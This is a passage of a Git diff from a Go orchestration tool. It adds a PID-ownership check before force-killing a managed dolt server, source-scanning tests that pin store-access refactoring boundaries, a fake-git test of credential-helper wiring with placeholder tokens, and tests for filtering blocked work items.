 			return report, err
 		}
-		if managedStopPIDAlive(targetPID) {
+		// Re-verify the PID still belongs to our managed dolt server before the
+		// forced kill. It outlived the SIGTERM grace, but if it actually exited
+		// during the grace and the numeric PID was reused, managedStopPIDAlive now
+		// reports that unrelated process as alive and a bare-PID SIGKILL would hit
+		// it. managedDoltProcessControllable re-runs the ownership inspection
+		// (cmdline/data-dir/cwd), which a reused unrelated PID fails.
+		if managedDoltProcessControllable(targetPID, layout) {
 			report.Forced = true
 			if err := syscall.Kill(targetPID, syscall.SIGKILL); err != nil && err != syscall.ESRCH {
 				return report, fmt.Errorf("signal %d with SIGKILL: %w", targetPID, err)
 			}
 			time.Sleep(time.Second)
+		} else {
+			managedDoltCleanupLogf("skipping SIGKILL of pid %d: no longer an owned managed dolt process (PID reused)", targetPID)
 		}
 	}
-	if managedStopPIDAlive(targetPID) {
+	// Fail only when OUR server is still alive AND still owned. A live-but-unowned
+	// PID here means our server exited during the grace and the number was reused:
+	// the stop succeeded (our server is gone), and the data-dir lock wait below
+	// still guarantees the dir is released before we report success.
+	if managedDoltProcessControllable(targetPID, layout) {
 		return report, fmt.Errorf("pid %d still alive after forced stop", targetPID)
 	}
 	// The server process is gone, but descendants (e.g. dolt gc workers) can
diff --git a/cmd/gc/embed_builtin_packs.go b/cmd/gc/embed_builtin_packs.go
index 4722f96ae7..4f93d5e0b4 100644
--- a/cmd/gc/embed_builtin_packs.go
+++ b/cmd/gc/embed_builtin_packs.go
@@ -210,7 +210,7 @@ func ensureRequiredBuiltinSourcesCached(cityPath string) error {
 		if builtinpacks.ValidateSyntheticRepo(cachePath, commit) == nil {
 			continue
 		}
-		if _, err := packman.EnsureRepoInCache(source, commit); err != nil {
+		if _, err := packman.EnsureRepoInCache(cityPath, source, commit); err != nil {
 			return fmt.Errorf("caching bundled %s pack: %w", name, err)
 		}
 	}
diff --git a/cmd/gc/embed_builtin_packs_test.go b/cmd/gc/embed_builtin_packs_test.go
index 112e3ffd29..6807685607 100644
--- a/cmd/gc/embed_builtin_packs_test.go
+++ b/cmd/gc/embed_builtin_packs_test.go
@@ -120,7 +120,7 @@ func bundledPackDirForTest(t testing.TB, packName string) string {
 	if !ok {
 		t.Fatalf("bundled %s pack is not registered", packName)
 	}
-	cachePath, err := packman.EnsureRepoInCache(source, bundledPackImportCommit())
+	cachePath, err := packman.EnsureRepoInCache("", source, bundledPackImportCommit())
 	if err != nil {
 		t.Fatalf("EnsureRepoInCache(%s): %v", packName, err)
 	}
diff --git a/cmd/gc/frontdoor_di_guard_test.go b/cmd/gc/frontdoor_di_guard_test.go
index db19b3c2ec..b359deec5e 100644
--- a/cmd/gc/frontdoor_di_guard_test.go
+++ b/cmd/gc/frontdoor_di_guard_test.go
@@ -10,12 +10,11 @@ import (
 
 // frontDoorStoreFreeFiles are the cmd/gc source files whose every function was
 // converted to take a dependency-injected typed front door
-// (*session.InfoStore / *orders.Store / *nudgequeue.Store) in place of a raw
+// (*session.Store / *orders.Store / *nudgequeue.Store) in place of a raw
 // bead store. They must never regress to holding a raw store: with no
 // beads.Store in scope, a raw bead op on a non-work object (a session
 // state-heal, a circuit-breaker metadata write, …) is *untypeable* rather than
-// merely absent — the compile-time half of the object-model front-door boundary
-// (engdocs/plans/infra-store-decouple/OBJECT-MODEL-FRONT-DOOR-DESIGN.md).
+// merely absent — the compile-time half of the object-model front-door boundary.
 //
 // Only files that are ENTIRELY store-free belong here. Mixed/root files
 // (session_reconciler.go, cmd_nudge.go, order_dispatch.go, …) legitimately keep
@@ -26,6 +25,11 @@ import (
 var frontDoorStoreFreeFiles = []string{
 	"session_circuit_breaker.go",
 	"soft_reload.go",
+	"adoption_barrier.go",
+	"session_index.go",
+	"mcp_integration.go",
+	"skill_visibility.go",
+	"session_logs_resolve.go",
 }
 
 // frontDoorForbiddenInStoreFreeFiles are the raw-store parameter types and the
@@ -62,8 +66,360 @@ func TestFrontDoorStoreFreeFilesStayStoreFree(t *testing.T) {
 		content := string(data)
 		for _, needle := range frontDoorForbiddenInStoreFreeFiles {
 			if strings.Contains(content, needle) {
-				t.Errorf("%s contains forbidden raw-store/front-door-construction pattern %q — this file is dependency-injection store-free; receive the typed front door (*session.InfoStore / *orders.Store / *nudgequeue.Store) as a parameter instead of holding a raw store", name, needle)
+				t.Errorf("%s contains forbidden raw-store/front-door-construction pattern %q — this file is dependency-injection store-free; receive the typed front door (*session.Store / *orders.Store / *nudgequeue.Store) as a parameter instead of holding a raw store", name, needle)
 			}
 		}
 	}
 }
+
+// snapshotInfoOnlyFiles are the cmd/gc source files whose every session-bead
+// snapshot read was converted to the typed session.Info front door
+// (snapshot.OpenInfos() / FindInfoBy*) by the non-work field-door cleanup.
+// They must never regress to the raw-bead accessors: a raw session bead escaping the
+// snapshot is exactly the leak this migration closes — the field would then be
+// read straight off bead metadata instead of through the one codec edge.
+//
+// Add a file here once it calls NONE of the raw snapshot accessors below — i.e.
+// every session bead it consumes from the snapshot arrives as a session.Info.
+// Files still mid-conversion (build_desired_state.go, city_runtime.go,
+// session_reconciler.go, the pool-demand cascade, …) are intentionally absent.
+var snapshotInfoOnlyFiles = []string{
+	"template_resolve.go",
+	"session_name_lookup.go",
+	"cmd_citystatus.go",
+	"city_status_snapshot.go",
+	"session_reconciler_trace_cycle.go",
+	"providers.go",
+	"nudge_dispatcher.go",
+	"named_sessions.go",
+	"soft_reload.go",
+}
+
+// forbiddenRawSnapshotAccessors are the *sessionBeadSnapshot methods that return
+// a raw beads.Bead (or []beads.Bead). The typed mirrors OpenInfos()/FindInfoByID/
+// FindInfoByTemplate/FindInfoByNamedIdentity do not contain these substrings, so
+// a converted file matching one of these has reintroduced a raw session-bead read.
+var forbiddenRawSnapshotAccessors = []string{
+	".Open()",
+	".FindByID(",
+	".FindSessionBeadByTemplate(",
+	".FindSessionBeadByNamedIdentity(",
+}
+
+// TestSnapshotInfoOnlyFilesStayOnInfoAccessors pins the read half of the
+// non-work field-door boundary: the converted snapshot consumers must keep
+// reading session beads through session.Info (OpenInfos/FindInfo*), never the
+// raw-bead accessors. Mirrors TestFrontDoorStoreFreeFilesStayStoreFree for the
+// read surface.
+func TestSnapshotInfoOnlyFilesStayOnInfoAccessors(t *testing.T) {
+	_, currentFile, _, ok := runtime.Caller(0)
+	if !ok {
+		t.Fatal("runtime.Caller failed")
+	}
+	dir := filepath.Dir(currentFile)
+	for _, name := range snapshotInfoOnlyFiles {
+		path := filepath.Join(dir, name)
+		data, err := os.ReadFile(path)
+		if err != nil {
+			t.Fatalf("ReadFile(%q): %v", path, err)
+		}
+		content := string(data)
+		for _, needle := range forbiddenRawSnapshotAccessors {
+			if strings.Contains(content, needle) {
+				t.Errorf("%s contains forbidden raw snapshot accessor %q — this file was converted to the session.Info front door; read session beads via snapshot.OpenInfos()/FindInfoByID/FindInfoByTemplate/FindInfoByNamedIdentity instead of the raw-bead accessor", name, needle)
+			}
+		}
+	}
+}
+
+// metadataInfoOnlyFiles are the files whose session beads are read AND written
+// exclusively through the typed session.Info projection (infoByID /
+// InfoFromPersistedBead) / session.CircuitState — never by cracking bead
+// metadata off a raw bead. This is the SHAPE half of the object-model front-door
+// boundary: the reconciler decision-path files completed by the lockstep drop
+// plus the session-class periphery files converted by the periphery closure.
+// Once a file routes every session field through the typed projection, a reappearing
+// `.Metadata[...]` bead crack is a regression to raw-bead reads.
+//
+// SHAPE-SEALED IS NOT RELOCATION-SAFE. Membership here means field reads go
+// through the Info codec (backend-shape-invariant); it does NOT mean the bead
+// LOAD is routed through the session-class store (sessionsBeadStore() /
+// resolveSessionStore). That access half is the separate frontDoorStoreFreeFiles
+// boundary; a [beads.classes.sessions] relocation captures a file only once BOTH
+// halves close. Several files here (e.g. cmd_prime.go, session_template_start.go)
+// still load their session bead from a raw store and are shape-sealed only.
+//
+// Only files that crack NO bead metadata inline (session OR work) belong here —
+// each listed file currently contains zero `.Metadata[` of any receiver spelling,
+// so the guard forbids the whole family (session.Metadata[, target.session.Metadata[,
+// b.Metadata[, bead.Metadata[) with no false positive.
+//
+// session_reconciler.go and session_reconcile.go are intentionally ABSENT and
+// CANNOT be added with a file-level substring guard: they retain a bounded,
+// DOCUMENTED raw-by-design census — the raw classifier helpers that take a
+// `session beads.Bead` parameter (the oracle-verified siblings of the typed Info
+// classifiers, kept for TestSessionClassifierInfoEquivalence and boundary
+// projections) plus the start-execution / cross-tick emit-once coupled survivor
+// mirrors (S1-S5 in the lockstep-drop census) — which a substring needle cannot
+// distinguish from a new decision-path leak. Their protection is the in-code
+// census comments plus the LOCKSTEP-DROP census. session_sleep.go /
+// session_wake.go / session_lifecycle_parallel.go / session_bead_snapshot.go are
+// likewise raw-by-design (sleep-policy helpers, start execution, the bead
+// constructor) and stay off this list.
+var metadataInfoOnlyFiles = []string{
+	"compute_awake_bridge.go",
+	"session_progress.go",
+	"session_circuit_breaker.go",
+	"city_status_snapshot.go",
+	"session_template_start.go",
+	"adoption_barrier.go",
+	"cmd_prime.go",
+	"cmd_skill.go",
+	"session_resolve.go",
+	"cmd_session_logs.go",
+	"mcp_integration.go",
+	"session_index.go",
+	"cmd_session_wake.go",
+	"soft_reload.go",
+	"cmd_session.go",
+}
+
+// forbiddenRawBeadMetadata is the raw bead-metadata crack this guard forbids.
+// The needle `.Metadata[` matches every receiver spelling (session.Metadata[,
+// target.session.Metadata[, b.Metadata[, bead.Metadata[, item.bead.Metadata[).
+// The listed files are Info/CircuitState-only decision helpers that read no bead
+// metadata at all, so the broad needle is exact for them and catches the dominant
+// `b.Metadata[` / `bead.Metadata[` leak spelling that a `session.`-anchored needle
+// would miss.
+var forbiddenRawBeadMetadata = []string{
+	".Metadata[",
+}
+
+// TestMetadataInfoOnlyFilesStayOnInfoSnapshot pins the write+read half of the
+// reconciler front-door boundary: the fully-converted decision-path files must
+// keep routing every session field through the typed Info/CircuitState
+// projection, never cracking bead metadata off a raw bead. Mirrors
+// TestSnapshotInfoOnlyFilesStayOnInfoAccessors for the metadata surface.
+func TestMetadataInfoOnlyFilesStayOnInfoSnapshot(t *testing.T) {
+	_, currentFile, _, ok := runtime.Caller(0)
+	if !ok {
+		t.Fatal("runtime.Caller failed")
+	}
+	dir := filepath.Dir(currentFile)
+	for _, name := range metadataInfoOnlyFiles {
+		path := filepath.Join(dir, name)
+		data, err := os.ReadFile(path)
+		if err != nil {
+			t.Fatalf("ReadFile(%q): %v", path, err)
+		}
+		content := string(data)
+		for _, needle := range forbiddenRawBeadMetadata {
+			if strings.Contains(content, needle) {
+				t.Errorf("%s contains forbidden raw bead-metadata crack %q — this file was converted to the typed session.Info / CircuitState projection; read and write session fields through the typed accessor (info.<Field> / infoByID / ApplyPatch / CircuitState) instead of cracking the raw bead", name, needle)
+			}
+		}
+	}
+}
+
+// sessionRelocationRoutedFiles are the CLI one-shot ROOT files whose SESSION-class
+// bead access (session lifecycle beads AND durable gc:wait beads — both
+// coordclass.ClassSessions) was routed through the session coordination-class
+// store via cliSessionStore / cliSessionFrontDoor (→ resolveSessionStore). A
+// one-shot CLI command opens the generic city (work) store from openCityStore*;
+// left unrouted, its session writes would land in the work store instead of the
+// relocated session backend once [beads.classes.sessions] moves — the split-brain
+// this migration closes. These files must never regress to
+// constructing the session front door straight from the generic work store.
+//
+// providers.go is a shared provider-construction helper rather than a one-shot
+// command root, but it is listed because its loadProviderSessionSnapshot session
+// read — the gc:session ListByLabel, off a store it opens itself independent of
+// the caller — is routed. It carries no `sessionFrontDoor(store...)` construction,
+// so there is no substring false-positive risk and the positive `cliSessionStore(`
+// tripwire protects that route the same way it protects the command roots.
+// providers.go carries a SECOND routed session path: openCityMailProvider builds
+// the CLI mail provider as a two-store beadmail (message persistence on the
+// messaging-class store, mail's session reads/writes — session.ListAllSessionBeads
+// / ResolveSessionID / RepairEmptyType — on the session-class store via
+// cliSessionStore), so the mail addressing/identity session access a
+// [beads.classes.sessions] relocation must capture is routed here too (the former
+// two-store mail-provider follow-up, now closed for the session class). Both the
+// snapshot route and the mail route carry the positive cliSessionStore( tripwire
+// and no sessionFrontDoor(store...) construction; the end-to-end acceptance test
+// remains the authoritative completeness check.
+//
+// The gc status trio (cmd_status.go, cmd_citystatus.go, city_status_snapshot.go)
+// is listed even though none of them constructs a session front door: their
+// session access is non-front-door (loadStatusSessionSnapshot → ListAllSessionBeads,
+// namedSessionStatusForCity → resolveSessionIDWithConfig + store.Get,
+// collectCitySessionCounts → workerSessionCatalogWithConfig), all routed through
+// cliSessionStore, while the store-health probe (buildCityStoreHealth →
+// collectStoreHealth → store.List) deliberately stays on the generic work store it
+// measures. The negative sessionFrontDoor(store...) needles are inert for these
+// files; the positive cliSessionStore( tripwire protects the routed reads the same
+// way it protects providers.go's snapshot route, consistent with this guard being
+// a regression canary rather than a completeness proof.
+//
+// controller.go is intentionally ABSENT even though it routes: its
+// session-circuit-reset socket handler routes, but the file also holds the
+// already-safe param-threaded runtime `sessionFrontDoor(store.Store)` at the
+// gracefulStop path, which the substring needle cannot distinguish. It is
+// protected by in-code comments and the end-to-end relocation acceptance test
+// rather than this file-level guard.
+//
+// cmd_start.go's standalone reconcile cascade routes its full SESSION arm to
+// mirror the daemon's store-role split (CityRuntime.buildDesiredState /
+// controlDispatcherTick): the leading store of buildDesiredStateWithSessionBeads,
+// loadSessionBeadSnapshot, syncSessionBeadsWithSnapshotAndRigStores, and
+// reconcileSessionBeadsAtPathWithNamedDemand all take the session-class store via
+// cliSessionStore/cliSessionFrontDoor, with rigStores as the per-rig WORK tail. The
+// one residual — releaseOrphanedPoolAssignmentsWhenSnapshotsComplete's
+// liveOpenSessionAssignmentExists session read — stays on the plain store exactly as
+// the daemon leaves it on cityBeadStore(), a shared work-release-boundary follow-up,
+// not a cmd_start gap. The positive cliSessionStore( tripwire protects the routed
+// arm; no unrouted sessionFrontDoor(store...) needle is carried. As a non-front-door
+// router (its session reads go through store args, not front-door construction) this
+// guard is a regression canary for the file, not a completeness proof — the
+// end-to-end relocation acceptance test remains authoritative.
+//
+// cmd_sling.go routes its sling-nudge session access (doSlingNudge session
+// lookups, deliverSlingNudge's observe/handle/last-nudge stamp via
+// cliSessionStore/cliSessionFrontDoor derived from the target's cfg+cityPath, and
+// printNudgePreview) while the queued-nudge enqueue stays on the plain store
+// (nudges class, its own E1.2 routing). TWO sling-root session sites remain
+// DEFERRED because their store is threaded cross-package and cannot be routed at
+// the CLI root: (a) cliDirectSessionResolver (populateSlingDepsCallbacks →
+// internal/sling → internal/graphroute → resolveSessionIDMaterializingNamed)
+// materializes session beads on the WORK source store and needs a two-store
+// SlingDeps/graphroute.Deps split (a session-class store added to the deps); and
+// (b) the resolveGraphStepBinding* helpers DEFINED here read session state on a
+// store supplied by their cmd_convoy_dispatch.go caller (never called from a sling
+// root), owned by that caller's effort. So the positive cliSessionStore( tripwire
+// protects the routed sling-nudge arm but NOT those two deferred cross-package
+// sites — consistent with this guard being a regression canary, not a completeness
+// proof.
+//
+// cmd_handoff.go routes its full SESSION arm — restartability
+// (sessionRestartableByController), restart-request clear (clearRestartRequest ->
+// sessionFrontDoor(sessStore).ApplyPatch), restart persist (sessionRestartPersister),
+// the remote kill/observe/identity trio, resolveSessionID, sender-identity resolution
+// (resolveDefaultMailSenderForCommand), and beadmail's session addressing via
+// beadmail.NewWithStores(store, sessStore) — through cliSessionStore, while
+// createHandoffMail's message-bead persistence deliberately stays on the plain store
+// (messaging class, its own slice, mirroring newCityMailProvider's msgStore/sessStore
+// split and cmd_sling.go's deferred nudge enqueue). cmd_runtime_drain.go routes only
+// cmdRuntimeRequestRestart's session-bead access; every other command in the file is
+// drainOps runtime metadata (no bead store) plus nil-store worker observation, so the
+// guard is a regression canary for that one root.
+//
+// cmd_wait.go additionally hosts the controller-shared wait machinery, so its
+// session-class store params are named sessStore (making sessionFrontDoor(sessStore)
+// and sessionFrontDoor(sessStore.Store) the sanctioned in-file forms). Its four CLI
+// roots — cmdSessionWait, cmdWaitSetStateResult, doWaitListFallback,
+// doWaitInspectFallback — derive sessStore := cliSessionStore(store, cfg, cityPath)
+// and route the SESSION/wait bead access (wait-bead CRUD, session-bead lookups,
+// wait_hold clears, cap-diagnostic stamps) through it, while dependency-bead reads
+// (loadWaitDependencyBead / depsWaitReadyDetailedForCity) deliberately stay on the
+// plain WORK store (dep beads are work class, federated across rig scopes) and the
+// wait-nudge shadow lookups ride a NudgesStore over the same work store (nudges class,
+// its own E1.2 routing). The positive cliSessionStore( tripwire protects the routed
+// arm; as a non-front-door router (most session reads go through store args) this
+// guard is a regression canary for the file, not a completeness proof — the
+// end-to-end relocation acceptance test remains authoritative.
+//
+// cmd_nudge.go routes its delivery-tree SESSION arm via a two-store split derived
+// from the nudge target's cfg+cityPath (the deliverSlingNudge precedent): the raw
+// openNudgeBeadStore store keeps threading the nudge-queue currency, while each
+// delivery helper derives sessStore := cliSessionStore(store, target.cfg,
+// target.cityPath) and routes the session-class ops — worker observe/handle
+// (nudgeObserveTarget / workerObserveNudgeTarget / workerHandleForNudgeTarget), the
+// managed wake (session.WakeSession via requestManagedNudgeWake), named-session
+// materialization (resolveSessionIDMaterializingNamed) and its Get, the last-nudge
+// stamp (sessionFrontDoor(sessStore/deliverySessStore)), and the wait-bead reads in
+// splitQueuedNudgesForDelivery — through it. tryDeliverQueuedNudgesByPoller and
+// dispatchAllQueuedNudges take an explicit sessStore param that the CALLER resolves:
+// the controller threads cr.sessionsBeadStore().Store, whose fallback is the WORK
+// store (NOT the nudges store) — this closed the live controller-dispatcher class-mix
+// where the session store was derived from cr.nudgesBeadStore().Store. The CLI
+// poll/drain paths derive sessStore from their openNudgeBeadStore base, which is
+// identity to the work store today (nil cfg) but is nudges-class-routed; a tracked
+// E1.2 follow-up must thread a genuine work store there once openNudgeBeadStore
+// relocates, or the CLI-path sessions fallback would re-land on the nudge DB.
+// deliveryStore stays the nudges store for the queue record/dead-letter. The nudge-queue roots deliberately
+// stay on openNudgeBeadStore — enqueue/ack/release/record/terminalize/rollback and
+// nudgeFrontDoor are nudges class (their own E1.2 routing), mirroring cmd_sling.go's
+// deferred nudge enqueue. nudge_dispatcher.go is a pure RECEIVER of that session store
+// (routed at the controller boundary in city_runtime.go, a mixed file off this list),
+// so it is intentionally absent from the routed-files list. The positive cliSessionStore(
+// tripwire protects the routed delivery arm; as a non-front-door router this guard is
+// a regression canary for the file, not a completeness proof.
+var sessionRelocationRoutedFiles = []string{
+	"cmd_session_wake.go",
+	"cmd_session_pin.go",
+	"cmd_skill.go",
+	"cmd_mcp.go",
+	"cmd_session_logs.go",
+	"cmd_prime.go",
+	"cmd_stop.go",
+	"cmd_session_reset.go",
+	"cmd_restart.go",
+	"completion.go",
+	"providers.go",
+	"cmd_session.go",
+	"cmd_status.go",
+	"cmd_citystatus.go",
+	"city_status_snapshot.go",
+	"cmd_start.go",
+	"cmd_sling.go",
+	"cmd_handoff.go",
+	"cmd_runtime_drain.go",
+	"cmd_wait.go",
+	"cmd_nudge.go",
+}
+
+// sessionRelocationForbidden are the UNROUTED session-front-door constructions a
+// routed CLI root must never contain. The routed form cliSessionFrontDoor( does
+// not contain the lowercase-s substring "sessionFrontDoor(", and the
+// sessionFrontDoor(cliSessionStore(...)) wrap lives only in cli_session_store.go
+// (which is off this list), so the needles below fire only on a regression to the
+// generic-store form. A sessionFrontDoor(sessStore) call (a routed local already
+// in hand) is a distinct substring and is allowed.
+var sessionRelocationForbidden = []string{
+	"sessionFrontDoor(store)",
+	"sessionFrontDoor(store.Store)",
+	"sessionFrontDoor(openCityStore",
+	"sessionFrontDoor(deliveryStore.Store)",
+	"sessionFrontDoor(deliveryStore)",
+}
+
+// TestSessionRelocationRootsRouteThroughSessionClassStore pins the CLI relocation
+// boundary: the one-shot command roots must construct their session front door
+// through the session coordination-class store (cliSessionStore /
+// cliSessionFrontDoor), never straight from the generic work store, so a
+// [beads.classes.sessions] relocation reaches them. It is a regression canary:
+// a substring guard cannot prove every non-front-door session read (store.Get,
+// resolveSessionID*) was routed — the end-to-end relocation acceptance test is the
+// authoritative check. Mirrors TestFrontDoorStoreFreeFilesStayStoreFree.
+func TestSessionRelocationRootsRouteThroughSessionClassStore(t *testing.T) {
+	_, currentFile, _, ok := runtime.Caller(0)
+	if !ok {
+		t.Fatal("runtime.Caller failed")
+	}
+	dir := filepath.Dir(currentFile)
+	for _, name := range sessionRelocationRoutedFiles {
+		path := filepath.Join(dir, name)
+		data, err := os.ReadFile(path)
+		if err != nil {
+			t.Fatalf("ReadFile(%q): %v", path, err)
+		}
+		content := string(data)
+		for _, needle := range sessionRelocationForbidden {
+			if strings.Contains(content, needle) {
+				t.Errorf("%s contains unrouted session front door %q — this CLI root must route its session-class access through cliSessionFrontDoor(store, cfg, cityPath) / cliSessionStore(...) so a [beads.classes.sessions] relocation reaches it", name, needle)
+			}
+		}
+		if !strings.Contains(content, "cliSessionStore(") && !strings.Contains(content, "cliSessionFrontDoor(") {
+			t.Errorf("%s is listed as session-relocation-routed but never calls cliSessionStore( / cliSessionFrontDoor( — did the routing get dropped?", name)
+		}
+	}
+}
diff --git a/cmd/gc/gitcred_fakegit_test.go b/cmd/gc/gitcred_fakegit_test.go
new file mode 100644
index 0000000000..3683881c3f
--- /dev/null
+++ b/cmd/gc/gitcred_fakegit_test.go
@@ -0,0 +1,128 @@
+package main
+
+import (
+	"errors"
+	"os"
+	"path/filepath"
+	"strings"
+	"testing"
+
+	"github.com/gastownhall/gascity/internal/gitcred"
+)
+
+// installFakeGit puts a fake `git` executable at the front of PATH for the test.
+// The script records its full argv to a file under a temp dir and then behaves
+// per mode: "authfail" prints a canned auth-failure stderr and exits 128; any
+// other mode records argv and exits 0. Returns the temp dir holding the recorded
+// argv.
+func installFakeGit(t *testing.T, mode string) string {
+	t.Helper()
+	dir := t.TempDir()
+	argvFile := filepath.Join(dir, "argv")
+	script := "#!/bin/sh\n" +
+		"printf '%s\\n' \"$@\" > '" + argvFile + "'\n"
+	switch mode {
+	case "authfail":
+		script += "echo \"fatal: could not read Username for 'https://github.com': terminal prompts disabled\" 1>&2\n" +
+			"exit 128\n"
+	default:
+		script += "exit 0\n"
+	}
+	gitPath := filepath.Join(dir, "git")
+	if err := os.WriteFile(gitPath, []byte(script), 0o755); err != nil {
+		t.Fatalf("write fake git: %v", err)
+	}
+	t.Setenv("PATH", dir+string(os.PathListSeparator)+os.Getenv("PATH"))
+	return dir
+}
+
+func writeCityCredRule(t *testing.T, city, body string) {
+	t.Helper()
+	gcDir := filepath.Join(city, ".gc")
+	if err := os.MkdirAll(gcDir, 0o755); err != nil {
+		t.Fatalf("mkdir: %v", err)
+	}
+	path := filepath.Join(gcDir, "credentials.toml")
+	if err := os.WriteFile(path, []byte(body), 0o600); err != nil {
+		t.Fatalf("write cred rule: %v", err)
+	}
+	if err := os.Chmod(path, 0o600); err != nil {
+		t.Fatalf("chmod: %v", err)
+	}
+}
+
+func TestImportHeadCommitClassifiesAuthFailure(t *testing.T) {
+	installFakeGit(t, "authfail")
+	city := t.TempDir()
+	t.Setenv("GC_HOME", t.TempDir())
+	t.Setenv(gitcred.EnvCredentialsFile, "")
+	t.Setenv(gitcred.EnvCredentialCommand, "")
+	// Clear the ambient GitHub token so the built-in github.com default stays inert.
+	t.Setenv("GITHUB_TOKEN", "")
+	t.Setenv("GH_TOKEN", "")
+
+	// Unmatched: no rule → still classified (auth required), Matched=false.
+	_, err := defaultImportHeadCommit(city, "https://github.com/gascity/gas-city-inc")
+	var authErr *gitcred.AuthError
+	if !errors.As(err, &authErr) {
+		t.Fatalf("expected *gitcred.AuthError, got %v", err)
+	}
+	if authErr.Matched {
+		t.Fatalf("expected unmatched auth error")
+	}
+	if authErr.OrgPrefix != "github.com/gascity" {
+		t.Fatalf("OrgPrefix = %q", authErr.OrgPrefix)
+	}
+}
+
+func TestImportHeadCommitClassifiesMatchedAuthFailure(t *testing.T) {
+	installFakeGit(t, "authfail")
+	city := t.TempDir()
+	t.Setenv("GC_HOME", t.TempDir())
+	t.Setenv(gitcred.EnvCredentialsFile, "")
+	t.Setenv(gitcred.EnvCredentialCommand, "")
+	// Clear the ambient GitHub token so the built-in github.com default stays inert.
+	t.Setenv("GITHUB_TOKEN", "")
+	t.Setenv("GH_TOKEN", "")
+	writeCityCredRule(t, city, "[[credential]]\nmatch=\"github.com/gascity\"\nhelper=\"echo tok\"\n")
+
+	_, err := defaultImportHeadCommit(city, "https://github.com/gascity/gas-city-inc")
+	var authErr *gitcred.AuthError
+	if !errors.As(err, &authErr) {
+		t.Fatalf("expected *gitcred.AuthError, got %v", err)
+	}
+	if !authErr.Matched {
+		t.Fatalf("expected matched auth error")
+	}
+	if !strings.Contains(authErr.RuleOrigin, "credentials.toml") {
+		t.Fatalf("RuleOrigin = %q, want the city rules file", authErr.RuleOrigin)
+	}
+}
+
+func TestImportHeadCommitInjectsCredentialHelperArgv(t *testing.T) {
+	fakeDir := installFakeGit(t, "ok")
+	city := t.TempDir()
+	t.Setenv("GC_HOME", t.TempDir())
+	t.Setenv(gitcred.EnvCredentialsFile, "")
+	t.Setenv(gitcred.EnvCredentialCommand, "")
+	// Clear the ambient GitHub token so the built-in github.com default stays inert.
+	t.Setenv("GITHUB_TOKEN", "")
+	t.Setenv("GH_TOKEN", "")
+	writeCityCredRule(t, city, "[[credential]]\nmatch=\"github.com/gascity\"\nhelper=\"printf 'ghp_roundtrip\\\\n'\"\n")
+
+	// The "ok" fake git records its argv and exits 0. defaultImportHeadCommit
+	// returns an empty-response error (the fake prints no refs), which is fine —
+	// we only assert the injected credential-helper wiring reached git.
+	_, _ = defaultImportHeadCommit(city, "https://github.com/gascity/gas-city-inc")
+
+	argv, err := os.ReadFile(filepath.Join(fakeDir, "argv"))
+	if err != nil {
+		t.Fatalf("fake git argv not recorded: %v", err)
+	}
+	if !strings.Contains(string(argv), "credential.helper=") {
+		t.Fatalf("injected git argv missing credential.helper: %q", string(argv))
+	}
+	if !strings.Contains(string(argv), "credential.useHttpPath=true") {
+		t.Fatalf("injected git argv missing useHttpPath: %q", string(argv))
+	}
+}
diff --git a/cmd/gc/hook_defer_blocked_test.go b/cmd/gc/hook_defer_blocked_test.go
index 874f270385..0a069e8046 100644
--- a/cmd/gc/hook_defer_blocked_test.go
+++ b/cmd/gc/hook_defer_blocked_test.go
@@ -51,6 +51,65 @@ func TestDoHookFiltersDepBlockedBeads(t *testing.T) {
 	}
 }
 
+func TestDoHookFiltersIsBlockedBeads(t *testing.T) {
+	runner := func(_, _ string) (string, error) {
+		return `[
+			{"id":"blocked-head","status":"open","is_blocked":true},
+			{"id":"ready-behind","status":"open","is_blocked":false}
+		]`, nil
+	}
+
+	var stdout, stderr bytes.Buffer
+	code := doHook("bd ready", ".", false, runner, &stdout, &stderr)
+	if code != 0 {
+		t.Fatalf("doHook() = %d, want 0; stderr=%s", code, stderr.String())
+	}
+	out := stdout.String()
+	if strings.Contains(out, "blocked-head") {
+		t.Errorf("is_blocked bead surfaced in hook output: %s", out)
+	}
+	if !strings.Contains(out, "ready-behind") {
+		t.Errorf("ready bead behind blocked head missing from hook output: %s", out)
+	}
+}
+
+func TestDoHookFiltersStatusBlockedBeads(t *testing.T) {
+	runner := func(_, _ string) (string, error) {
+		return `[
+			{"id":"status-blocked","status":"blocked"},
+			{"id":"clear-2","status":"open"}
+		]`, nil
+	}
+
+	var stdout, stderr bytes.Buffer
+	code := doHook("bd ready", ".", false, runner, &stdout, &stderr)
+	if code != 0 {
+		t.Fatalf("doHook() = %d, want 0; stderr=%s", code, stderr.String())
+	}
+	out := stdout.String()
+	if strings.Contains(out, "status-blocked") {
+		t.Errorf("status=blocked bead surfaced in hook output: %s", out)
+	}
+	if !strings.Contains(out, "clear-2") {
+		t.Errorf("ready bead missing from hook output: %s", out)
+	}
+}
+
+func TestDoHookKeepsAbsentIsBlocked(t *testing.T) {
+	runner := func(_, _ string) (string, error) {
+		return `[{"id":"no-is-blocked-field","status":"open"}]`, nil
+	}
+
+	var stdout, stderr bytes.Buffer
+	code := doHook("bd ready", ".", false, runner, &stdout, &stderr)
+	if code != 0 {
+		t.Fatalf("doHook() = %d, want 0; stderr=%s", code, stderr.String())
+	}
+	if !strings.Contains(stdout.String(), "no-is-blocked-field") {
+		t.Errorf("bead with absent is_blocked treated as blocked: %s", stdout.String())
+	}
+}
+
 func TestDoHookKeepsPastDeferredAndClosedBlockers(t *testing.T) {
 	past := "2000-01-01T00:00:00Z"
 	runner := func(_, _ string) (string, error) {
diff --git a/cmd/gc/hosted_beads_gateway_test.go b/cmd/gc/hosted_beads_gateway_test.go
index 27e36e786f..1103c42bc1 100644
--- a/cmd/gc/hosted_beads_gateway_test.go
+++ b/cmd/gc/hosted_beads_gateway_test.go
@@ -191,3 +191,53 @@ dolt.user: orchestrator
 		t.Fatalf("managed-catalog lister was called for an external dolt endpoint; the SHOW DATABASES guard must be skipped")
 	}
 }
+
+// TestCityRuntimeProcessEnvProjectsHostedBeadsCredentialCommand pins the
+// exec-provider / city process-env projection path. mirrorBeadsDoltEnv derives
+// BEADS_DOLT_CREDENTIAL_COMMAND for a controller that exports only the
+// non-sensitive GC_DOLT_CRED_CMD, but cityRuntimeProcessEnvWithError copies the
+// resolved source map through a backend-key whitelist. That whitelist
+// (execProjectedBackendEnvKeys) omits the credential command because it is a
+// preserve-from-ambient passthrough key, not a strip-and-reproject projectedDolt
+// key — so before execProjectedBackendCopyKeys carried it, a GC_DOLT_CRED_CMD-only
+// controller silently dropped the helper on the projected process env and bd fell
+// back to the root user (gateway Error 1045). The ambient BEADS_DOLT_CREDENTIAL_COMMAND
+// is left unset here so preserveHostedBeadsCredentialEnv has nothing to fall back
+// on: the projection is the only channel that can carry the derived value.
